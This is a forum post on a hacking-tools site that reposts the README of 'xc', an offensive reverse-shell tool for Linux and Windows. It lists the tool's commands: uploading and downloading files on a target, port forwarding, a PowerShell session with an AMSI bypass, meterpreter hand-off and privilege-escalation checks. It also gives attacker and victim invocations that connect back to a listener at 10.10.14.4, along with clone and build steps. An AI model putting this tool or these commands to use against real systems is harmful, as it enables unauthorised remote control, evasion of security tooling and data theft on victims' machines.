# XC | A Small Reverse Shell For Linux And Windows

**URL:** <https://onehack.st/t/xc-a-small-reverse-shell-for-linux-and-windows/212537>\
**Category:** Tools & Scripts\
**Tags:** tools\
**Created:** [January 19, 2022, 1:22pm UTC](https://onehack.st/t/xc-a-small-reverse-shell-for-linux-and-windows/212537 "2022-01-19T13:22:54Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![NoBody](https://onehack.st/user_avatar/onehack.st/nobody/32/163880_2.png) [@NoBody](https://onehack.st/u/NoBody)\
**Post date:** [January 19, 2022, 1:22pm UTC](https://onehack.st/t/xc-a-small-reverse-shell-for-linux-and-windows/212537/1 "2022-01-19T13:22:54Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/0/9/094d569cd31441b11b06f9bb908238866c4ba475.jpeg)

Netcat like reverse shell for Linux & Windows.

## Features

### Windows

```auto
Usage:
└ Shared Commands: !exit
  !upload <src> <dst>
   * uploads a file to the target
  !download <src> <dst>
   * downloads a file from the target
  !lfwd <localport> <remoteaddr> <remoteport>
   * local portforwarding (like ssh -L)
  !rfwd <remoteport> <localaddr> <localport>
   * remote portforwarding (like ssh -R)
  !lsfwd
   * lists active forwards
  !rmfwd <index>
   * removes forward by index
  !plugins
   * lists available plugins
  !plugin <plugin>
   * execute a plugin
  !spawn <port>
   * spawns another client on the specified port
  !shell
   * runs /bin/sh
  !runas <username> <password> <domain>
   * restart xc with the specified user
  !met <port>
   * connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
  !powershell
    * starts powershell with AMSI Bypass
  !rc <port>
    * connects to a local bind shell and restarts this client over it
  !runasps <username> <password> <domain>
    * restart xc with the specified user using powershell
  !vulns
    * checks for common vulnerabilities

```

### Linux

```auto
Usage:
└ Shared Commands: !exit
  !upload <src> <dst>
   * uploads a file to the target
  !download <src> <dst>
   * downloads a file from the target
  !lfwd <localport> <remoteaddr> <remoteport>
   * local portforwarding (like ssh -L)
  !rfwd <remoteport> <localaddr> <localport>
   * remote portforwarding (like ssh -R)
  !lsfwd
   * lists active forwards
  !rmfwd <index>
   * removes forward by index
  !plugins
   * lists available plugins
  !plugin <plugin>
   * execute a plugin
  !spawn <port>
   * spawns another client on the specified port
  !shell
   * runs /bin/sh
  !runas <username> <password> <domain>
   * restart xc with the specified user
  !met <port>
   * connects to a x64/meterpreter/reverse_tcp listener
└ OS Specific Commands:
 !ssh <port>
   * starts sshd with the configured keys on the specified port

```

## Examples

- Linux Attacker: `rlwrap xc -l -p 1337` (Server)
- WindowsVictim : `xc.exe 10.10.14.4 1337` (Client)
- Argumentless: `xc_10.10.14.4_1337.exe` (Client)

## Setup

Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: `go version go1.16.2 linux/amd64` and kali `go version go1.15.9 linux/amd64`

```auto
git clone --recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
sudo apt-get install rlwrap upx

```

Linux:

```auto
python3 build.py

```

## Credits

- Included for Windows Clients: [https://github.com/itm4n/PrivescCheck](https://github.com/itm4n/PrivescCheck)
- Included for Windows Clients: [https://github.com/PowerShell/Win32-OpenSSH](https://github.com/PowerShell/Win32-OpenSSH)

## GitHub:

> **[GitHub - xct/xc: A small reverse shell for Linux & Windows](https://github.com/xct/xc)**
>
> A small reverse shell for Linux & Windows
